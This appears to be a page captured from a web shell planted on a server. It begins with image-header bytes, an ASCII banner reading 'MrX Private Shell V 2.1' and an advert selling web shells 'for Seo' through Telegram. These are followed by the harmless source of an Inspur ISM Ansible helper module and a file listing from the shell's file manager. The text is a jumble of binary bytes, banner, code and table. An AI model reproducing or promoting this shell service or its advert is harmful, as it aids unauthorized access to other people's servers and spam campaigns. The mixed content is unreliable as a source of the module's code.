����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding:utf-8 -*-
# Copyright (c), Inspur isib-group, 2020
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
try:
import ism
ism_temp = True
except ImportError:
ism_temp = False
from ansible.module_utils.basic import env_fallback
from ansible.module_utils.six import iteritems
ism_provider_spec = {
'host': dict(type='str'),
'username': dict(type='str', fallback=(env_fallback, ['ANSIBLE_NET_USERNAME'])),
'password': dict(type='str', fallback=(env_fallback, ['ANSIBLE_NET_PASSWORD']), no_log=True),
}
ism_argument_spec = {
'provider': dict(type='dict', options=ism_provider_spec),
}
ism_top_spec = {
'host': dict(type='str'),
'username': dict(type='str'),
'password': dict(type='str', no_log=True),
}
ism_argument_spec.update(ism_top_spec)
def load_params(module):
"""load_params"""
provider = module.params.get('provider') or dict()
for key, value in iteritems(provider):
if key in ism_argument_spec:
if module.params.get(key) is None and value is not None:
module.params[key] = value
def get_connection(module):
"""get_connection"""
load_params(module)
# result = dict()
# if module.check_mode:
# result['changed'] = True
# result['state'] = 'Success'
# result['message'] = module.params['subcommand']
# else:
dict_param = module.params
if not ism_temp:
module.fail_json(msg='inspur_sdk must be installed to use this module')
result = ism.main(dict_param)
return result
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| ism.py | File | 1.54 KB | 0644 |
|